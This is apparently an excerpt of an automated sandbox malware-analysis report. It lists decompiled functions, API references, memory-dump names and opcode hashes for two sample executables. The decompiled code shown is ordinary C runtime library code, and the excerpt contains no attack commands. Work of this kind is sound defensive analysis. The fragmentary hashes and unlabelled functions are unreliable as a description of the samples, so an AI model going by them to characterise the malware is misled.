0x0040bba0
0x0040bb6e
0x0040bb74
0x0040bb76
0x00000000
0x00000000
0x00000000
0x0040bb76
0x0040bb35
0x0040bb38
0x0040bb3a
0x00000000
0x00000000
0x0040bb3c
0x0040bbf1
0x0040bbf1
0x0040bbf1
0x00000000
0x0040bbf1
0x0040bb42
0x0040bb44
0x0040bb46
0x0040bb48
0x0040bb48
0x0040bb50
0x0040bb55
0x0040bb58
0x0040bb5a
0x0040bb5d
0x0040bb5f
0x00000000
0x0040bbe1
0x0040bbe1
0x0040bbe1
0x00000000
0x0040bb2a
0x0040bb24
0x0040bac8
0x0040bac8
0x0040bacd
0x0040bace
0x0040bacf
0x0040bad0
0x0040bad1
0x0040bad2
0x0040bad8
0x00000000
0x0040badd

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Uniqueness

Uniqueness Score: -1.00%

Function 02CC5506 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 02CC553A
__isleadbyte_l.LIBCMT ref: 02CC556E
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 02CC559F
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 02CC560D

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 07d83873620e1095b3ab4d8e3fa0eb3d06c225d70c8dc1196a63a4d8f12efdbe
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 5C31D631A10285EFDB20DF64C884ABE7BB6FF41394FA445ADE465AB191E730EA40DF50

Uniqueness

Uniqueness Score: -1.00%

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041529F(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0040EC86( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E004153D0( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0040BFC1(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x004152a9
0x004152b0
0x004152c7
0x00000000
0x004152b7
0x004152b9
0x004152d3
0x004152d8
0x004152db
0x004152de
0x00415307
0x0041530e
0x00415310
0x00415391
0x004153ac
0x004153ae
0x004152ee
0x004152ee
0x004152f1
0x004152f3
0x004152f6
0x004152f6
0x004152f6
0x004152f6
0x00000000
0x004152fc
0x00415370
0x00415370
0x00415375
0x0041537b
0x0041537e
0x00415380
0x00415383
0x00415383
0x00415383
0x00415383
0x00000000
0x00415387
0x00415312
0x00415315
0x0041531b
0x0041531e
0x00415345
0x00415348
0x0041534e
0x00000000
0x00000000
0x00415350
0x00415353
0x00000000
0x00000000
0x00415355
0x00415355
0x0041535b
0x0041535e
0x004152cc
0x004152cc
0x00415367
0x00000000
0x00415367
0x00415320
0x00415323
0x00000000
0x00000000
0x00415327
0x00415338
0x0041533e
0x00415340
0x00415343
0x00000000
0x00000000
0x00000000
0x00415343
0x004152e0
0x004152e3
0x004152e5
0x004152eb
0x004152eb
0x00000000
0x004152bb
0x004152bb
0x004152c0
0x004152c4
0x004152c4
0x00000000
0x004152c0
0x004152b9

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Uniqueness

Uniqueness Score: -1.00%

Function 02CC3742 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 02CC3768

Part of subcall function 02CC358D: __fltout2.LIBCMT ref: 02CC35B9

__cftog_l.LIBCMT ref: 02CC378E
__cftoe_l.LIBCMT ref: 02CC37C0

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: a03f6f1118ad3dc04a95bfafb1aa809462bc4ab981edc6e18a6e286535982e66
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: C611807240018ABBCF125E85ED45CEE3F63BF48354B6984A9FA185A130D333C6B1EB81

Uniqueness

Uniqueness Score: -1.00%

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004134DB(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00412DCC(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00412EBC(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E004133E1(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00413326(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x004134e0
0x004134e6
0x00413559
0x00000000
0x004134ed
0x004134ed
0x004134f0
0x0041350b
0x0041350e
0x0041352e
0x00413540
0x00413510
0x00413510
0x00413513
0x00000000
0x00413515
0x00413527
0x00413527
0x00413513
0x0041355e
0x00413562
0x004134f2
0x0041350a
0x0041350a
0x004134f0

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: uPD30tM82.exePID: 5176, Parent PID: 6056COMMON

Executed Functions

Function 02602B60 Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

d8bbwe, xrefs: 02602CAD
8c]j, xrefs: 02602C95

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID: 8c]j$d8bbwe
API String ID: 0-3218360112
Opcode ID: 17940a1cd4fc9ece399a4b257a1d9878a794696ebf20ef1015919da528c5b1cd
Instruction ID: d2b703cb5c54df48bc6c82196c57e376756bdcf8855f192a297135250734ef2a
Opcode Fuzzy Hash: 17940a1cd4fc9ece399a4b257a1d9878a794696ebf20ef1015919da528c5b1cd
Instruction Fuzzy Hash: 53611D30911208CFCB18EFB8E55489DBBB2FF8A315B60566DE41577294DF369C45CB24

Uniqueness

Uniqueness Score: -1.00%

Function 02608C08 Relevance: 2.0, Instructions: 1973COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd091eb6c0ef1d7da7bfbf5e1aab4e451c1264e64d3271829a9983be2286ccb0
Instruction ID: a3863dd479f963a51fea943ca9212bd0ae7b98e192e355aa4a70bce37747f1e7
Opcode Fuzzy Hash: cd091eb6c0ef1d7da7bfbf5e1aab4e451c1264e64d3271829a9983be2286ccb0
Instruction Fuzzy Hash: D313EC78941304EFCF26AB60D950E9DB732FF5A306F10947AD81127BACCA3B9952DB11

Uniqueness

Uniqueness Score: -1.00%

Function 02608C18 Relevance: 2.0, Instructions: 1973COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbec325028b11f238bcc8c740c1a54f50b631399bcfae79d8658b3a265fa15bd
Instruction ID: 0735cafa2a2aceb9f0b57b5d630eb4007e4678eb5fa3f39cdc60f3820c47ba88
Opcode Fuzzy Hash: cbec325028b11f238bcc8c740c1a54f50b631399bcfae79d8658b3a265fa15bd
Instruction Fuzzy Hash: 6C13EC78941304EFCF26AB60D950E9DB732FF5A306F10947AD81127BACCA3B9952DB11

Uniqueness

Uniqueness Score: -1.00%

Function 0260EAD8 Relevance: 1.6, Strings: 1, Instructions: 357COMMON

Download Yara Rule

Strings

8q, xrefs: 0260EBD5

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID: 8q
API String ID: 0-596622023
Opcode ID: 8d0777ed8601c3d611e21f29cc30ddbd17cf753a2d82a9dc4bbcafc43faf9446
Instruction ID: 2918f73936929ba078d786033bb6331e7d76899c6704ff2f5489889f5275f3c9
Opcode Fuzzy Hash: 8d0777ed8601c3d611e21f29cc30ddbd17cf753a2d82a9dc4bbcafc43faf9446
Instruction Fuzzy Hash: 6BE13E34A00219DFDB18DF65D994B5EBBB2FF88310F148969E416AB3A1DB31EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 026008F8 Relevance: 1.6, Strings: 1, Instructions: 304COMMON

Download Yara Rule

Strings

k p^, xrefs: 02600A42, 02600A47

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID: k p^
API String ID: 0-2009074079
Opcode ID: d1bceb8f0776147657455941d1c8c5e7d81c4b9fd7beb10922a5ecceb4d07998
Instruction ID: 3a4883bc353a416c721f833112695520ece5d08cb10abf1ebcd06c31e2d9a7c8
Opcode Fuzzy Hash: d1bceb8f0776147657455941d1c8c5e7d81c4b9fd7beb10922a5ecceb4d07998
Instruction Fuzzy Hash: D2D10078D01228CFDB28DF65C894BEDBBB2BB89305F1091AAD409B7291DB745AC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0260DB80 Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

8q, xrefs: 0260DBC7

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID: 8q
API String ID: 0-596622023
Opcode ID: e7cec2952c4ac95fd2fb025e6d3fde2fa060ffd8c58f766a7d05f9673e0eb8e3
Instruction ID: 76bb7f82ee73f746017efc51eae65025dc77c01784babe44b066461fa26a70d4
Opcode Fuzzy Hash: e7cec2952c4ac95fd2fb025e6d3fde2fa060ffd8c58f766a7d05f9673e0eb8e3
Instruction Fuzzy Hash: CA717D34E002098FDB18DFA9C4546AEBBF2FFC9304F24852AE805AB395DB719D46CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0260EACA Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

8q, xrefs: 0260EBD5

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID: 8q
API String ID: 0-596622023
Opcode ID: a8b43b476dbee5951964d4ae4724ba39befb3b8a2a976d7d2d548817d23fc151
Instruction ID: 49abf4f7ab8a5455771b047792b6166b8d5b98cad54ee0cce88831e570c8b288
Opcode Fuzzy Hash: a8b43b476dbee5951964d4ae4724ba39befb3b8a2a976d7d2d548817d23fc151
Instruction Fuzzy Hash: 9681FB74A00209DFCB18DF65D594B9EBBB2FF88310B148959E816AB3A1DB71EC41CF90

Uniqueness

Uniqueness Score: -1.00%

Function 026044B8 Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

8c]j, xrefs: 026044DD

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID: 8c]j
API String ID: 0-4231582068
Opcode ID: 9a68ec9b6f7edf66095959b23b9c749314f6e85ccde80e0bbd8d76355df7b7fe
Instruction ID: 69b56a8cf52b5e084c08a9c4d402f3603e21ff1c9e031d6d7124056e9f673aee
Opcode Fuzzy Hash: 9a68ec9b6f7edf66095959b23b9c749314f6e85ccde80e0bbd8d76355df7b7fe
Instruction Fuzzy Hash: EE11E5312043848FE321AF39E50465B7BE2EFC5304B01896ED08A87682CF79AC098BA1

Uniqueness

Uniqueness Score: -1.00%

Function 026044C8 Relevance: 1.3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

Strings

8c]j, xrefs: 026044DD

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID: 8c]j
API String ID: 0-4231582068
Opcode ID: 882297d2d7ffe673bfb7e762a8481adf59c3d9a72a684824c757368d5bae9c99
Instruction ID: 282250bf3d8b1f999a2455d23ba08f781fafa5584961cab7b258f0e0398c485c
Opcode Fuzzy Hash: 882297d2d7ffe673bfb7e762a8481adf59c3d9a72a684824c757368d5bae9c99
Instruction Fuzzy Hash: B30192312006488BE324BF78E50465B7BE3FFC4315F008A29D14A87745CF7AAC099BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0260F7C8 Relevance: .6, Instructions: 581COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b236b6875a46c0956a0009079732a704a4a8a5c066f691c5e9c775ab596d914
Instruction ID: 87e87d9b5d5f47060dc40b88e53413bca5606f03c50e9401ee3b7334e94f6158
Opcode Fuzzy Hash: 5b236b6875a46c0956a0009079732a704a4a8a5c066f691c5e9c775ab596d914
Instruction Fuzzy Hash: 732248347002558FDB28DB78C4A4A6E7BA6EF89340F258469E906CB3E6DF35DC05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02606E30 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d861acb299615722c1e0606d040c205b41991bbbfa7468d54a308d44c61fa489
Instruction ID: d85464f4376358439679669235adc2782b4ebbbb93337ee45d710b33ba65a5c8
Opcode Fuzzy Hash: d861acb299615722c1e0606d040c205b41991bbbfa7468d54a308d44c61fa489
Instruction Fuzzy Hash: 2B811275B002409FDB199B74C45056EBBB2FFC9314F24846AE846DB382DB35ED46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0260D968 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b3472163caeb401424e47d8ddf1a7fb961e4e2555bc034413a22a484e217eda
Instruction ID: 41bdb82af74b67e48cb3bcf4c9d103c0074a7b8a1cfa5643ea0492340d5c2f87
Opcode Fuzzy Hash: 7b3472163caeb401424e47d8ddf1a7fb961e4e2555bc034413a22a484e217eda
Instruction Fuzzy Hash: 7F51EC35A01219EFDF18DFA5E894A9EBBB6FF88314F108119E806A73A0DB359D41DF50

Uniqueness

Uniqueness Score: -1.00%

Function 02602541 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8861f82c2c2e7392d0a9dd47e37c80ea1bb956841648f07a1cb3b3fa6b701b9e
Instruction ID: 1b0a5d7a2316bcaaf91a2ba9fe81d283d4caef8440be714548e7051ab77e1d24
Opcode Fuzzy Hash: 8861f82c2c2e7392d0a9dd47e37c80ea1bb956841648f07a1cb3b3fa6b701b9e
Instruction Fuzzy Hash: AC51E774E00218DFDB18DFB9D9545ADBBB2FF88301F20852AE809A7354DB365846CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0260DE60 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62f0b8fcd921270c06bbb26e726bc4b37bbff99dab2c817be913449663202cc
Instruction ID: 048958e51ee5f1b30a3004c8205255727ec94faaea74bcd1f52d09895b1ea939
Opcode Fuzzy Hash: a62f0b8fcd921270c06bbb26e726bc4b37bbff99dab2c817be913449663202cc
Instruction Fuzzy Hash: D341ED71B012048FD718DBA8C89436FBBB2EF89310F1485AAD40ADB391DB328C46C791

Uniqueness

Uniqueness Score: -1.00%

Function 0260B090 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7af2e1167231f166ae916fc9f98c601711d799c954bdb4b44a56cef6884d257
Instruction ID: 0100daac09d2cc9054f3cb3e9df9c752773a0f23a1435c003a560c44492767fa
Opcode Fuzzy Hash: a7af2e1167231f166ae916fc9f98c601711d799c954bdb4b44a56cef6884d257
Instruction Fuzzy Hash: D131D534B002485FEB14EBB8D8157AF7BB2EF85304F1084A5E505EB3D5DB759D068BA1

Uniqueness

Uniqueness Score: -1.00%

Function 02608360 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2001955c64f56420d5c01f4e56c908f2ef0bb7b56f092531eb229dde6bda9d5d
Instruction ID: 3512a3c52de212322e0342809221f99899f07620202e0799d2e78b9987dfca4a
Opcode Fuzzy Hash: 2001955c64f56420d5c01f4e56c908f2ef0bb7b56f092531eb229dde6bda9d5d
Instruction Fuzzy Hash: 8A311B347002048FD728DF68C5A8A6E7BF2EF8C754F144469E906AB3A1DF769D41DB60

Uniqueness

Uniqueness Score: -1.00%

Function 02608350 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a02ad9e9eae57d8108980d288d3f266a1d69e99546bca7bb6c1d5ae9dd7b5939
Instruction ID: 96b696ee21dceae4a33d5a552f86a5e0554dac01081c7fd390ef38f5f58be33d
Opcode Fuzzy Hash: a02ad9e9eae57d8108980d288d3f266a1d69e99546bca7bb6c1d5ae9dd7b5939
Instruction Fuzzy Hash: 523149387002088FD718DF68D594BAE7BF2EF89714F1454A8E5069B3A4CB76AD01DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0260B7F7 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9edb9a6fa0336991ec15a17bfe157b990275ed1b4e864c34384931535cba340
Instruction ID: 3127a4f53fbf09bdf21fcd06fd510680d761390820436d6f7e58461d5b833b5e
Opcode Fuzzy Hash: f9edb9a6fa0336991ec15a17bfe157b990275ed1b4e864c34384931535cba340
Instruction Fuzzy Hash: 4B319A32D0074A8ADB11EFB8C8402D9F771BF9A320F259726E59977244EB70B9D5CB90

Uniqueness

Uniqueness Score: -1.00%

Function 026085C8 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8ab94be767266a5ed3b7df0e4687d5b1d9243cb4d31abd7754acaff9885d7ad
Instruction ID: d340c6b2d934189e4d1a85ba161c7a941c8f87e0bbe09ce4ebbbf2ecc27d2a3a
Opcode Fuzzy Hash: c8ab94be767266a5ed3b7df0e4687d5b1d9243cb4d31abd7754acaff9885d7ad
Instruction Fuzzy Hash: 8D2121347043544FC728A779A91812E3BE7AFC9310714897ED94AC7782DF7A9C0683A2

Uniqueness

Uniqueness Score: -1.00%

Function 02605638 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.434978323.0000000002600000.00000040.00000800.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2600000_uPD30tM82.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc1dfe2cdb377f57e104f73234d9467633ec51a1d7cf2a49ba32c64ccca92bcf
Instruction ID: 4fe979ee54decf71d095d7a1f6c6bf7ca818db9365c682e0a5a663255d57777a
Opcode Fuzzy Hash: bc1dfe2cdb377f57e104f73234d9467633ec51a1d7cf2a49ba32c64ccca92bcf
Instruction Fuzzy Hash: 5C415939D00208EFDF11EFA4EA5889D7FB2FB88300F105855F615A7269DB366915DF60

Uniqueness

